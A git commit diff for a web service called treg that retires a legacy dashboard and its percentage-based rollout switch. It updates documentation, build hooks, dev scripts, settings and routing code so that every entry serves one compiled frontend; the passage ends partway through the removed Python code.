mirror of
https://github.com/superdesigndev/treg.git
synced 2026-10-02 03:24:35 +08:00
chore(web): remove the legacy dashboard and its rollout switch
Every visitor has been on the compiled Dashboard since the 100% rollout, so the frozen legacy snapshot, its asset route, the per-account selection and the three TREG_DASHBOARD_ROLLOUT_* settings go. Catalog pages and shared links no longer look up the session to pick a frontend, /search is always served, and the app-version stamp is the bundle hash alone. Rollback is now a deploy of the previous build.
This commit is contained in:
@@ -435,7 +435,6 @@ Regenerate via `scripts/build-map.py`.
|
||||
| `src/treg/web/catalog.css` | interface/seo.md |
|
||||
| `src/treg/web/claude-connector.html` | architecture/mcp-oauth.md |
|
||||
| `src/treg/web/connect-demo.html` | architecture/mcp-oauth.md |
|
||||
| `src/treg/web/dashboard-legacy/README.md` | interface/dashboard.md |
|
||||
| `src/treg/web/enrich-arena.html` | interface/enrich-arena.md |
|
||||
| `src/treg/web/enrich-arena/arena.css` | interface/enrich-arena.md |
|
||||
| `src/treg/web/enrich-arena/arena.js` | interface/enrich-arena.md |
|
||||
@@ -531,7 +530,6 @@ Regenerate via `scripts/build-map.py`.
|
||||
| `tests/test_catalog_find.py` | architecture/search-experiment.md |
|
||||
| `tests/test_catalog_validate.py` | architecture/catalog.md |
|
||||
| `tests/test_cli_key_compatibility.py` | interface/cli.md |
|
||||
| `tests/test_dashboard_rollout.py` | interface/dashboard.md |
|
||||
| `tests/test_enrich_arena.py` | interface/enrich-arena.md |
|
||||
| `tests/test_error_capture.py` | architecture/proxy-model.md |
|
||||
| `tests/test_feedback.py` | architecture/feedback.md |
|
||||
@@ -595,7 +593,7 @@ Regenerate via `scripts/build-map.py`.
|
||||
| `interface/api.md` | `media.py`, `sitetrack.js`, `api.py`, `bootstrap_handlers.py`, `bootstrap_http.py`, `call_surface.py`, `caller_metadata.py`, `client_identity.py`, `auth.py`, `provider_resources.py`, `access.py`, `authorize.py`, `idempotency.py`, `intake.py`, `resolve.py`, `reserve.py`, `settle.py`, `evidence.py`, `service.py`, `types.py`, `relay.py`, `connect.py`, `onboard.py`, `referrals.py`, `signup.py`, `__init__.py`, `admin.py`, `auth.py`, `auth_helpers.py`, `billing.py`, `call.py`, `catalog.py`, `connections.py`, `onboard.py`, `orgs.py`, `provider_resources.py`, `api_keys.py`, `resources.py`, `referrals.py`, `signup_cookies.py`, `web.py`, `access.py`, `api_keys.py`, `teams.py`, `access.py`, `budgets.py`, `publicdemo.py`, `usage.py`, `mcp_oauth.py`, `session.py`, `timeutil.py`, `store.py`, `email.py`, `runner.py`, `ratestore.py` |
|
||||
| `interface/catalog-review-proposal.md` | `store.py`, `capabilities.yaml` |
|
||||
| `interface/cli.md` | `cli.py`, `test_released_cli_compat.py`, `test_cli_key_compatibility.py`, `auth_helpers.py`, `cli_analytics.py`, `convert.py`, `agents.py`, `api_keys.py`, `test_api_keys.py` |
|
||||
| `interface/dashboard.md` | `sitetrack.js`, `index.html`, `package.json`, `vite.config.ts`, `TeamResourcesPage.vue`, `FishVoiceDialog.vue`, `resources.js`, `resourcesComputed.js`, `App.vue`, `api.ts`, `DashboardNavigation.vue`, `PublicNavigation.vue`, `SignInDialog.vue`, `SignedOutPage.vue`, `AcceptInvitesDialog.vue`, `AgentGuideDialog.vue`, `CallDetailsDialog.vue`, `ConnectTokenDialog.vue`, `ConnectionMethodDialog.vue`, `CopyToolDialog.vue`, `EditToolDialog.vue`, `ExtraCredentialDialog.vue`, `ImportSkillDialog.vue`, `RecipeDialog.vue`, `RequestToolDialog.vue`, `ResourcePickerDialog.vue`, `RunToolDialog.vue`, `ShareDialog.vue`, `TopUpDialog.vue`, `TryEndpointDialog.vue`, `WelcomeDialog.vue`, `main.ts`, `ActivityPage.vue`, `AdminPage.vue`, `CatalogPage.vue`, `DetailPage.vue`, `GettingStartedPage.vue`, `HelpPage.vue`, `PlatformPage.vue`, `ProviderPage.vue`, `ReferralsPage.vue`, `SecretsPage.vue`, `TeamPage.vue`, `ToolsPage.vue`, `activity.js`, `admin.js`, `agents.js`, `agentsComputed.js`, `analytics.js`, `billing.js`, `billingComputed.js`, `boot.js`, `catalog.js`, `catalogComputed.js`, `find.js`, `findComputed.js`, `pile.ts`, `FindAnswer.vue`, `SearchPage.vue`, `LandingNavigation.vue`, `connections.js`, `constants.js`, `context.ts`, `controller.js`, `data.js`, `details.js`, `detailsComputed.js`, `format.js`, `governance.js`, `help.js`, `keys.js`, `lifecycle.js`, `navigation.js`, `onboarding.js`, `onboardingComputed.js`, `projects.js`, `referrals.js`, `secrets.js`, `session.js`, `sessionComputed.js`, `sharing.js`, `skills.js`, `snippets.js`, `team.js`, `tools.js`, `tryTool.js`, `base.css`, `agent-setup.js`, `dashboard.css`, `SOURCES.md`, `README.md`, `copy-runtime.mjs`, `tutorial.js`, `tutorial.html`, `tour.js`, `index.html`, `api.py`, `test_dashboard_rollout.py`, `README.md`, `web.py`, `session.py`, `api_keys.py`, `test_api_keys.py` |
|
||||
| `interface/dashboard.md` | `sitetrack.js`, `index.html`, `package.json`, `vite.config.ts`, `TeamResourcesPage.vue`, `FishVoiceDialog.vue`, `resources.js`, `resourcesComputed.js`, `App.vue`, `api.ts`, `DashboardNavigation.vue`, `PublicNavigation.vue`, `SignInDialog.vue`, `SignedOutPage.vue`, `AcceptInvitesDialog.vue`, `AgentGuideDialog.vue`, `CallDetailsDialog.vue`, `ConnectTokenDialog.vue`, `ConnectionMethodDialog.vue`, `CopyToolDialog.vue`, `EditToolDialog.vue`, `ExtraCredentialDialog.vue`, `ImportSkillDialog.vue`, `RecipeDialog.vue`, `RequestToolDialog.vue`, `ResourcePickerDialog.vue`, `RunToolDialog.vue`, `ShareDialog.vue`, `TopUpDialog.vue`, `TryEndpointDialog.vue`, `WelcomeDialog.vue`, `main.ts`, `ActivityPage.vue`, `AdminPage.vue`, `CatalogPage.vue`, `DetailPage.vue`, `GettingStartedPage.vue`, `HelpPage.vue`, `PlatformPage.vue`, `ProviderPage.vue`, `ReferralsPage.vue`, `SecretsPage.vue`, `TeamPage.vue`, `ToolsPage.vue`, `activity.js`, `admin.js`, `agents.js`, `agentsComputed.js`, `analytics.js`, `billing.js`, `billingComputed.js`, `boot.js`, `catalog.js`, `catalogComputed.js`, `find.js`, `findComputed.js`, `pile.ts`, `FindAnswer.vue`, `SearchPage.vue`, `LandingNavigation.vue`, `connections.js`, `constants.js`, `context.ts`, `controller.js`, `data.js`, `details.js`, `detailsComputed.js`, `format.js`, `governance.js`, `help.js`, `keys.js`, `lifecycle.js`, `navigation.js`, `onboarding.js`, `onboardingComputed.js`, `projects.js`, `referrals.js`, `secrets.js`, `session.js`, `sessionComputed.js`, `sharing.js`, `skills.js`, `snippets.js`, `team.js`, `tools.js`, `tryTool.js`, `base.css`, `agent-setup.js`, `dashboard.css`, `SOURCES.md`, `README.md`, `copy-runtime.mjs`, `tutorial.js`, `tutorial.html`, `tour.js`, `index.html`, `api.py`, `web.py`, `session.py`, `api_keys.py`, `test_api_keys.py` |
|
||||
| `interface/enrich-arena.md` | `arena.py`, `arena.py`, `arena.py`, `models.py`, `0027_enrich_arena.py`, `teams.py`, `auth.py`, `bootstrap.py`, `enrich-arena.html`, `arena.js`, `bench.js`, `arena.css`, `agent-setup.js`, `arena_verification_insights.py`, `0029_arena_verification_snapshot.py`, `import_arena_verification.py`, `test_arena_verification_insights.py`, `arena_insights.py`, `arena_insights.py`, `0028_arena_insights.py`, `test_arena_insights.py`, `apollo.svg`, `branddev.svg`, `companyenrich.svg`, `findymail.svg`, `hunter.svg`, `icypeas.svg`, `leadmagic.svg`, `leadsforge.svg`, `lusha.svg`, `pdl.svg`, `predictleads.svg`, `thecompaniesapi.svg`, `tomba.svg`, `sitetrack.js`, `test_enrich_arena.py` |
|
||||
| `interface/env-import.md` | `providers.py`, `skills.py` |
|
||||
| `interface/landing-sandbox.md` | `sandbox.py`, `sandbox_identity.py`, `pubfeed.py`, `sandbox.py`, `__init__.py`, `sandbox.py`, `api.py`, `onboard.py`, `web.py`, `boot.js`, `SignedOutPage.vue`, `install.sh` |
|
||||
|
||||
@@ -211,11 +211,7 @@ jobs:
|
||||
assert assets, 'Dashboard entry must reference compiled assets'
|
||||
for asset in assets:
|
||||
assert wheel.read('treg/web/dashboard/' + asset)
|
||||
legacy = wheel.read('treg/web/dashboard-legacy/index.html').decode()
|
||||
legacy_assets = re.findall(r'/app/legacy/(assets/[^"\s]+)', legacy)
|
||||
assert legacy_assets
|
||||
for asset in legacy_assets:
|
||||
assert wheel.read('treg/web/dashboard-legacy/' + asset)
|
||||
assert not [name for name in wheel.namelist() if 'dashboard-legacy' in name]
|
||||
arena = wheel.read('treg/web/enrich-arena.html').decode()
|
||||
for asset in re.findall(r'src="(/vendor/vue-[^"\s]+)"', arena):
|
||||
assert wheel.read('treg/web' + asset)
|
||||
|
||||
@@ -98,4 +98,3 @@ node_modules
|
||||
# Global Vue runtime copied from the npm lockfile during the frontend build.
|
||||
/src/treg/web/vendor/*.js
|
||||
/src/treg/web/vendor/LICENSE
|
||||
/src/treg/web/dashboard-legacy/assets/*/vendor/
|
||||
|
||||
@@ -156,11 +156,6 @@ so parallel runs and side-by-side runs never share one.
|
||||
`[server]` extra, the certificate authority is `[proxy]`. Never import a heavy dependency at the
|
||||
top of a CLI-path module; the "Lightweight CLI modules" import-linter contract lists them and
|
||||
fails the build.
|
||||
- **Frontend rollout.** `frontend/README.md` documents account assignment and rollback.
|
||||
`src/treg/web/dashboard-legacy/` is **deprecated**, retained only for temporary rollout and
|
||||
rollback. Never hand-edit it or mirror new features/fixes into it; `frontend/` is the only
|
||||
maintained Dashboard source. Follow the retirement checklist in `frontend/README.md` to remove
|
||||
it after rollout; at 100% every entry, anonymous included, already serves the new app.
|
||||
- **The dashboard** lives in `frontend/` (Vue components, TypeScript entry/transport, Vite).
|
||||
Build with `bash scripts/build-dashboard.sh`; generated assets in `src/treg/web/dashboard/`
|
||||
ship with Python. Run `npm --prefix frontend test` and `npm --prefix frontend run test:e2e`.
|
||||
|
||||
@@ -99,8 +99,6 @@ sources:
|
||||
- src/treg/web/tour/tour.js
|
||||
- src/treg/web/tour/index.html
|
||||
- src/treg/api.py
|
||||
- tests/test_dashboard_rollout.py
|
||||
- src/treg/web/dashboard-legacy/README.md
|
||||
- src/treg/routers/web.py
|
||||
- src/treg/domain/identity/session.py
|
||||
- src/treg/routers/api_keys.py
|
||||
@@ -209,26 +207,11 @@ History navigation retains existing hashes, catalog URLs and shared links in `st
|
||||
Mainline Team resources and Fish Audio upload, voice-management and audio-preview flows live
|
||||
in `TeamResourcesPage.vue`, `FishVoiceDialog.vue`, `TryEndpointDialog.vue` and their state modules.
|
||||
|
||||
`_new_dashboard` selects the compiled entry by verified session user ID: the master rollout switch
|
||||
must be on, then an ID allowlist or a stable SHA-256 bucket below the configured percentage selects
|
||||
new. Defaults are off and zero percent. Anonymous and token-only browser entries have no bucket, so
|
||||
they get new only while the switch is on at 100%, and otherwise the frozen
|
||||
`dashboard-legacy/index.html`, whose Vue/onboarding/tutorial JavaScript has revision-qualified legacy asset
|
||||
URLs. Tying them to 100% keeps one rollback lever: lowering the percentage or switching off moves
|
||||
them back with the accounts, and no separate setting has to be retired later. No query parameter, team selection or analytics service controls assignment. All dashboard,
|
||||
shared-link and catalog entries use this decision and `private, no-store` plus `Vary: Cookie`.
|
||||
Environment changes require restarting Web processes. Existing tabs switch on reload; the version
|
||||
stamp also incorporates rollout settings to offer a refresh when assignment policy changes.
|
||||
Every signed-in selection emits `dashboard_served` (variant, assignment, bucket, percentage) and
|
||||
sets the `dashboard_variant` and `dashboard_bucket` person properties. Analytics only observes the
|
||||
decision: PostHog persons carry no user ID to recompute the bucket from, and the bucket alone cannot
|
||||
date an account's switch when the percentage moves.
|
||||
|
||||
The legacy snapshot is deprecated and scheduled for removal after rollout, not a second maintained
|
||||
Dashboard. New features and routine fixes belong only in `frontend/`; normal main-branch syncs must
|
||||
not refresh the frozen artifact. `frontend/README.md` owns the retirement checklist: once
|
||||
100% has held, remove the snapshot, legacy asset route, selection settings and obsolete rollout
|
||||
plumbing.
|
||||
`_dashboard_index` returns the one compiled entry for every Dashboard, shared-link and catalog
|
||||
request, signed in or not, so those pages no longer look up the session to choose a frontend. They
|
||||
are served `private, no-store` with `Vary: Cookie`. The frozen legacy snapshot and its percentage
|
||||
rollout were retired once every visitor was on this app; rollback is a deploy of the previous build.
|
||||
The version stamp in `/meta` is the bundle hash, so an open tab offers a refresh after a deploy.
|
||||
|
||||
`GET /app` serves the selected document same-origin from the Python package, preserving local
|
||||
sign-in and parked OAuth authorization. Catalog and shared-link handlers modify that same document's
|
||||
@@ -245,7 +228,7 @@ and Vite, using a local-only development entry for hot updates. See `CONTRIBUTIN
|
||||
|
||||
Vue is pinned in the npm lockfile and bundled from the same origin, so a blocked CDN cannot
|
||||
prevent startup. The shared onboarding widgets in `/agent-setup.js` still serve both Dashboard and
|
||||
Arena; their templates use Vue's bundled compiler. The global Vue runtime for standalone pages and the legacy snapshot is
|
||||
Arena; their templates use Vue's bundled compiler. The global Vue runtime for the standalone Arena page is
|
||||
copied from the npm package at build time, with its license; generated copies are not committed. Agent icons and Google Fonts remain optional external presentation assets.
|
||||
The unmounted entry displays a loading message and a reload link rather than hiding a raw template.
|
||||
The authenticated redesign follows the root `design.md`.
|
||||
@@ -1057,9 +1040,8 @@ fit is its best provider's. The page never re-ranks providers.
|
||||
copies. Any result (a card, a job line, a tile) opens that platform in the dashboard: directly
|
||||
for a member; otherwise sign-in first, the destination kept in localStorage for ten minutes and
|
||||
resumed by boot (`findResume`) however sign-in returns, and first-run onboarding leaves a
|
||||
visitor on that platform rather than on Getting started. The server serves the new frontend here
|
||||
to every visitor while the rollout is enabled (there is no legacy view of this page) and 404s
|
||||
when the rollout switch forces legacy.
|
||||
visitor on that platform rather than on Getting started. The server serves this page to every
|
||||
visitor.
|
||||
|
||||
**Analytics for finds** (PostHog through `track`, anonymous until sign-in, when the visitor's
|
||||
earlier events join the identified person): `search_opened` (`ref`: the landing's Tools link sends
|
||||
|
||||
@@ -233,17 +233,12 @@ database is local SQLite. Hosted deployments must still leave it false.
|
||||
|
||||
## Web service and generic Render example
|
||||
|
||||
The redesigned homepage ships to all homepage visitors independently of Dashboard rollout.
|
||||
Its rollback requires a code rollback/revert; the Dashboard master switch does not change it.
|
||||
The redesigned homepage ships to all homepage visitors; its rollback, like the Dashboard's, is a
|
||||
code revert or a deploy of the previous build.
|
||||
|
||||
`GET /app` selects either the frozen legacy artifact or the Vite-built Vue application.
|
||||
The rollout defaults to legacy. Set `TREG_DASHBOARD_ROLLOUT_ENABLED=true` with a JSON array in
|
||||
`TREG_DASHBOARD_ROLLOUT_USER_IDS` for an account allowlist, then increase
|
||||
`TREG_DASHBOARD_ROLLOUT_PERCENT` from zero. Disabling the master switch forces legacy, including
|
||||
allowlisted accounts. Environment changes require restarting Web processes, not rebuilding assets.
|
||||
Both frontends ship together. Anonymous catalog, shared-link and sign-in entries have no account
|
||||
bucket and move only at 100%; below it, or with the switch off, they remain legacy.
|
||||
See `frontend/README.md` for the full rollout and retirement contract.
|
||||
`GET /app`, the catalog pages and shared links all serve the Vite-built Vue application. There is
|
||||
no frontend switch to configure; a Dashboard rollback is a deploy of the previous build. See
|
||||
`frontend/README.md`.
|
||||
The frontend is authored in `frontend/` within the same repository. `GET /` retains the existing
|
||||
landing behavior. Dashboard assets, tutorials, agent files and installer assets ship with the wheel.
|
||||
Hosted-page MP4 demos remain in Git checkout deployments but are excluded from published wheels and
|
||||
|
||||
+8
-47
@@ -14,10 +14,7 @@ This is an incremental extraction. The old use cases still share per-application
|
||||
`state/context.ts`; their JavaScript and the shared onboarding widgets are not fully typed.
|
||||
New isolated components should use typed props and events. Existing hash navigation and deep links
|
||||
remain in the navigation/catalog/details modules; this change does not replace their URL contract.
|
||||
The deprecated, frozen rollback artifact lives in `src/treg/web/dashboard-legacy/` and exists
|
||||
only during rollout. `frontend/` is the only maintained Dashboard source. Do not backport features
|
||||
or routine fixes, or refresh the snapshot when syncing main. The server selects the frontend by
|
||||
authenticated user ID.
|
||||
`frontend/` is the only Dashboard source: every entry, signed in or not, serves this compiled app.
|
||||
|
||||
## Develop
|
||||
|
||||
@@ -49,8 +46,8 @@ Browser tests start their own server on :18791 with a disposable database and no
|
||||
They use full Chromium in headless mode so back/forward cache restoration is exercised.
|
||||
`PLAYWRIGHT_CHANNEL=chrome` can use an installed Chrome for local checks.
|
||||
|
||||
Builds also copy the npm-installed Vue global runtime and license for standalone pages and the
|
||||
legacy snapshot; these generated files are packaged but never committed. Page runtime versions
|
||||
Builds also copy the npm-installed Vue global runtime and license for the standalone Arena page;
|
||||
these generated files are packaged but never committed. Page runtime versions
|
||||
must match the npm lockfile. Three.js and Lenis on the landing page use pinned CDN URLs.
|
||||
|
||||
Builds generate `src/treg/web/dashboard/`, which is ignored by Git and included in wheels/sdists.
|
||||
@@ -58,45 +55,9 @@ Do not edit generated files. Distributable package builds fail if these assets a
|
||||
Python installs and background workers do not require Node. The Web build script is
|
||||
`scripts/build-web.sh`, which compiles the app and retains the locked Python installation.
|
||||
|
||||
## Gradual rollout
|
||||
## Serving and rollback
|
||||
|
||||
The homepage (`/`) uses the new landing page for all visitors; it has no experiment or rollout
|
||||
switch. The settings below apply only to the Dashboard, catalog and shared-link entries.
|
||||
Disabling Dashboard rollout does not revert the homepage.
|
||||
|
||||
Production defaults to the frozen legacy Dashboard frontend. Configure the Web service:
|
||||
|
||||
- `TREG_DASHBOARD_ROLLOUT_ENABLED=true` enables rollout; `false` forces legacy for everyone.
|
||||
- `TREG_DASHBOARD_ROLLOUT_USER_IDS='[123,456]'` is the JSON array of allowed numeric user IDs.
|
||||
- `TREG_DASHBOARD_ROLLOUT_PERCENT=0` starts with only the allowlist. Increase toward 100 to
|
||||
include stable account buckets; email changes, team switches and browser changes do not reshuffle them.
|
||||
|
||||
Anonymous visitors (including the public catalog, shared links and token-only browsers) have no
|
||||
account bucket, so they follow only the full rollout: they get this frontend at 100% and legacy
|
||||
below it or when rollout is disabled. The one exception is `/search`, which exists only in this
|
||||
frontend: it is served to every visitor while rollout is enabled and returns 404 when rollout is
|
||||
disabled.
|
||||
After browser sign-in, the reload selects the account's frontend. All dashboard, catalog and
|
||||
shared-link entries use the same selection and private, no-store HTML. Frontend selection grants
|
||||
no API permissions. Legacy JavaScript is frozen under its own revision-qualified asset URLs.
|
||||
PostHog is not involved. Environment changes require a process restart/rolling deployment;
|
||||
rollback needs no frontend rebuild. Existing tabs switch on reload, and configuration changes
|
||||
also change the app-version stamp so open tabs can offer a refresh.
|
||||
|
||||
The local dev script enables 100% for signed-in accounts by default. Override its rollout variables
|
||||
to rehearse production settings.
|
||||
|
||||
## Retire the deprecated Dashboard
|
||||
|
||||
Legacy is temporary, not a permanently supported version. Remove it in a follow-up change once
|
||||
the new Dashboard is validated at full rollout and the release no longer needs the frozen
|
||||
fallback. At 100% every Dashboard entry, anonymous catalog, shared links, token-only entries and
|
||||
sign-in included, already serves the compiled app; retirement removes the fallback behind it.
|
||||
|
||||
- Remove `src/treg/web/dashboard-legacy/`, `/app/legacy/assets/{path:path}`, the account-selection
|
||||
branch, all three `TREG_DASHBOARD_ROLLOUT_*` settings and their app-version stamp inputs.
|
||||
- Remove obsolete rollout tests, local defaults and packaging checks; retain coverage for the
|
||||
surviving entry routes, sessions and compiled assets. Update build/deployment documentation and
|
||||
remove the retired settings from the private deployment configuration in a paired change.
|
||||
- Remove the deprecation instructions from `AGENTS.md` and context docs once removal ships.
|
||||
Deployment rollback remains the recovery path after the in-process fallback is removed.
|
||||
The server hands every Dashboard, catalog and shared-link entry the same compiled `index.html`,
|
||||
as private, no-store HTML with `Vary: Cookie`. There is no in-process frontend switch: roll back a
|
||||
Dashboard change by deploying the previous build. Open tabs compare the app-version stamp in `/meta`
|
||||
and offer a refresh when a deploy changes the bundle.
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
// Standalone pages need Vue's global build; the maintained app uses Vite's npm import.
|
||||
// The standalone Arena page needs Vue's global build; the maintained app uses Vite's npm import.
|
||||
import { copyFileSync, mkdirSync, readFileSync } from 'node:fs'
|
||||
import { fileURLToPath } from 'node:url'
|
||||
import { dirname, resolve } from 'node:path'
|
||||
@@ -6,13 +6,10 @@ import { dirname, resolve } from 'node:path'
|
||||
const web = fileURLToPath(new URL('../../src/treg/web/', import.meta.url))
|
||||
const vue = fileURLToPath(new URL('../node_modules/vue/', import.meta.url))
|
||||
const { version } = JSON.parse(readFileSync(resolve(vue, 'package.json'), 'utf8'))
|
||||
for (const page of ['enrich-arena.html', 'dashboard-legacy/index.html']) {
|
||||
const html = readFileSync(resolve(web, page), 'utf8')
|
||||
const url = html.match(/src="([^"]*\/vendor\/vue-([^/"]+)\.global\.prod\.js)"/)
|
||||
if (!url || url[2] !== version) throw new Error(`${page} must use the installed Vue ${version}`)
|
||||
const relative = url[1].replace(/^\/app\/legacy\//, 'dashboard-legacy/').replace(/^\//, '')
|
||||
const target = resolve(web, relative)
|
||||
mkdirSync(dirname(target), { recursive: true })
|
||||
copyFileSync(resolve(vue, 'dist/vue.global.prod.js'), target)
|
||||
copyFileSync(resolve(vue, 'LICENSE'), resolve(dirname(target), 'LICENSE'))
|
||||
}
|
||||
const html = readFileSync(resolve(web, 'enrich-arena.html'), 'utf8')
|
||||
const url = html.match(/src="([^"]*\/vendor\/vue-([^/"]+)\.global\.prod\.js)"/)
|
||||
if (!url || url[2] !== version) throw new Error(`enrich-arena.html must use the installed Vue ${version}`)
|
||||
const target = resolve(web, url[1].replace(/^\//, ''))
|
||||
mkdirSync(dirname(target), { recursive: true })
|
||||
copyFileSync(resolve(vue, 'dist/vue.global.prod.js'), target)
|
||||
copyFileSync(resolve(vue, 'LICENSE'), resolve(dirname(target), 'LICENSE'))
|
||||
|
||||
+5
-13
@@ -14,17 +14,9 @@ class CustomBuildHook(BuildHookInterface):
|
||||
raise RuntimeError(
|
||||
"Dashboard assets are missing. Run bash scripts/build-dashboard.sh before uv build."
|
||||
)
|
||||
legacy = Path(self.root) / "src/treg/web/dashboard-legacy/index.html"
|
||||
if not legacy.is_file():
|
||||
raise RuntimeError("Frozen legacy dashboard is missing; both frontends must ship during rollout.")
|
||||
build_data["artifacts"].append("src/treg/web/dashboard/**")
|
||||
web = legacy.parent.parent
|
||||
for page in [legacy, web / "enrich-arena.html"]:
|
||||
for url in re.findall(r'src="([^"]*/vendor/vue-[^"]+\.js)"', page.read_text()):
|
||||
relative = url.replace("/app/legacy/", "dashboard-legacy/").lstrip("/")
|
||||
if not (web / relative).is_file():
|
||||
raise RuntimeError("Vue runtime is missing. Run bash scripts/build-dashboard.sh.")
|
||||
build_data["artifacts"].extend([
|
||||
"src/treg/web/vendor/*.js", "src/treg/web/vendor/LICENSE",
|
||||
"src/treg/web/dashboard-legacy/assets/*/vendor/**",
|
||||
])
|
||||
web = index.parent.parent
|
||||
for url in re.findall(r'src="([^"]*/vendor/vue-[^"]+\.js)"', (web / "enrich-arena.html").read_text()):
|
||||
if not (web / url.lstrip("/")).is_file():
|
||||
raise RuntimeError("Vue runtime is missing. Run bash scripts/build-dashboard.sh.")
|
||||
build_data["artifacts"].extend(["src/treg/web/vendor/*.js", "src/treg/web/vendor/LICENSE"])
|
||||
|
||||
@@ -31,7 +31,7 @@ DEV_HOME="$ROOT/scripts/.dev-home" # sandbox HOME for the dev CLI
|
||||
|
||||
DEV_KEYS="$DEV_HOME/dev-keys.env" # stable dev-only Fernet + session keys, minted once —
|
||||
# without them every --reload restart drops sessions/secrets
|
||||
SERVER_ENV="TREG_EMAIL_DEV_MODE=true TREG_DASHBOARD_ROLLOUT_ENABLED=${TREG_DASHBOARD_ROLLOUT_ENABLED:-true} TREG_DASHBOARD_ROLLOUT_PERCENT=${TREG_DASHBOARD_ROLLOUT_PERCENT:-100} TREG_FRONTEND_DEV=${TREG_FRONTEND_DEV:-true} TREG_PUBLIC_URL=http://localhost:$PORT TREG_CONNECT_DEMO_ENABLED=true TREG_DATABASE_URL=sqlite+aiosqlite:///$DEV_DB"
|
||||
SERVER_ENV="TREG_EMAIL_DEV_MODE=true TREG_FRONTEND_DEV=${TREG_FRONTEND_DEV:-true} TREG_PUBLIC_URL=http://localhost:$PORT TREG_CONNECT_DEMO_ENABLED=true TREG_DATABASE_URL=sqlite+aiosqlite:///$DEV_DB"
|
||||
SERVER_CMD="cd $ROOT && set -a && . $DEV_KEYS && set +a && env $SERVER_ENV uv run python -m treg --reload"
|
||||
|
||||
ensure_dev_keys() {
|
||||
|
||||
@@ -9,9 +9,6 @@ export TREG_DATABASE_URL="sqlite+aiosqlite:///$TEST_DIR/test.db"
|
||||
export TREG_PUBLIC_URL=http://127.0.0.1:18791
|
||||
export TREG_EMAIL_DEV_MODE=true
|
||||
export TREG_FRONTEND_DEV=false
|
||||
export TREG_DASHBOARD_ROLLOUT_ENABLED=true
|
||||
export TREG_DASHBOARD_ROLLOUT_PERCENT=100
|
||||
export TREG_DASHBOARD_ROLLOUT_USER_IDS='[]'
|
||||
export TREG_PROMO_GRANT_MICRO=0
|
||||
export TREG_RESEND_API_KEY=
|
||||
export TREG_POSTHOG_KEY=
|
||||
|
||||
+1
-4
@@ -186,10 +186,7 @@ def _app_version() -> str:
|
||||
if _app_version_cache is None or _app_version_cache[0] != mtime:
|
||||
digest = hashlib.sha256(index.read_bytes()).hexdigest()[:12]
|
||||
_app_version_cache = (mtime, digest)
|
||||
settings = get_settings()
|
||||
rollout = (settings.dashboard_rollout_enabled, settings.dashboard_rollout_percent,
|
||||
sorted(settings.dashboard_rollout_user_ids))
|
||||
return hashlib.sha256(f"{_app_version_cache[1]}:{rollout}".encode()).hexdigest()[:12]
|
||||
return _app_version_cache[1]
|
||||
|
||||
|
||||
@app.get("/meta")
|
||||
|
||||
@@ -115,7 +115,6 @@ _CONTROL_ROUTE_KEYS: frozenset[RouteKey] = frozenset({
|
||||
('/auth/invite-signin', ('POST',), 'auth_invite_signin_confirm'),
|
||||
('/', ('GET',), 'landing'),
|
||||
('/app', ('GET',), 'dashboard'),
|
||||
('/app/legacy/assets/{path:path}', ('GET',), 'legacy_dashboard_asset'),
|
||||
('/app/ui/assets/{name}', ('GET',), 'dashboard_asset'),
|
||||
('/app/marketplace/{service}', ('GET',), 'dashboard_marketplace'),
|
||||
('/app/skills/{name}', ('GET',), 'dashboard_skill_page'),
|
||||
|
||||
@@ -578,9 +578,6 @@ class Settings(BaseSettings):
|
||||
# response, which is an unauthenticated account-takeover vector in prod — so it defaults OFF and
|
||||
# must be explicitly enabled (TREG_EMAIL_DEV_MODE=true) for local testing without a mail sender.
|
||||
email_dev_mode: bool = False
|
||||
dashboard_rollout_enabled: bool = False
|
||||
dashboard_rollout_percent: int = Field(default=0, ge=0, le=100)
|
||||
dashboard_rollout_user_ids: set[PositiveInt] = Field(default_factory=set)
|
||||
frontend_dev: bool = False # Local SQLite development only; use Vite module scripts.
|
||||
|
||||
# The WHOLE email-domain blocklist (TREG_BLOCKED_EMAIL_DOMAINS), comma-separated:
|
||||
|
||||
+19
-83
@@ -4,7 +4,6 @@ from __future__ import annotations
|
||||
|
||||
from datetime import datetime, timezone
|
||||
from functools import lru_cache
|
||||
import hashlib
|
||||
import html as _html
|
||||
import html as html_mod
|
||||
import json
|
||||
@@ -18,7 +17,7 @@ from fastapi.responses import (FileResponse, HTMLResponse, JSONResponse, PlainTe
|
||||
from sqlalchemy.ext.asyncio import AsyncSession
|
||||
from sqlmodel import select
|
||||
|
||||
from .. import adsconv, agent_pages, analytics, oauth_providers
|
||||
from .. import adsconv, agent_pages, oauth_providers
|
||||
from ..domain import referrals
|
||||
from ..domain.catalog import store as catalog_store
|
||||
from ..domain.identity import session as sess
|
||||
@@ -33,60 +32,8 @@ from .auth_helpers import OAUTH_RETURN_COOKIE, _is_https, _take_oauth_return
|
||||
from .signup_cookies import _remember_referral
|
||||
|
||||
|
||||
def _dashboard_bucket(user_id: int) -> int:
|
||||
return int.from_bytes(hashlib.sha256(f"dashboard-v2:{user_id}".encode()).digest()[:8], "big") % 100
|
||||
|
||||
|
||||
def _dashboard_assignment(user: User) -> str:
|
||||
"""Why this account gets its frontend: `off`, `allowlist` or `bucket`."""
|
||||
settings = get_settings()
|
||||
if not settings.dashboard_rollout_enabled:
|
||||
return "off"
|
||||
return "allowlist" if user.id in settings.dashboard_rollout_user_ids else "bucket"
|
||||
|
||||
|
||||
def _new_dashboard(user: User | None) -> bool:
|
||||
if user is None:
|
||||
# A visitor with no account has no bucket, so it follows the rollout only once every
|
||||
# bucket is in: at 100% the public catalog, shared links and the signed-out app move with
|
||||
# the accounts, and lowering the percentage or switching the rollout off moves them back.
|
||||
settings = get_settings()
|
||||
return settings.dashboard_rollout_enabled and settings.dashboard_rollout_percent == 100
|
||||
assignment = _dashboard_assignment(user)
|
||||
if assignment != "bucket":
|
||||
return assignment == "allowlist"
|
||||
return _dashboard_bucket(user.id) < get_settings().dashboard_rollout_percent
|
||||
|
||||
|
||||
def _record_dashboard_served(user: User, new: bool) -> None:
|
||||
"""Tell product analytics which frontend this account was served.
|
||||
|
||||
The bucket alone cannot say when an account switched (the percentage moves) or whether it
|
||||
ever opened the Dashboard, and PostHog persons carry no user ID to recompute it from. The
|
||||
person property lets any funnel break down by frontend; the event dates each exposure.
|
||||
"""
|
||||
variant = "new" if new else "legacy"
|
||||
bucket = _dashboard_bucket(user.id)
|
||||
analytics.capture(user.email, "dashboard_served", {
|
||||
"variant": variant,
|
||||
"assignment": _dashboard_assignment(user),
|
||||
"bucket": bucket,
|
||||
"rollout_percent": get_settings().dashboard_rollout_percent,
|
||||
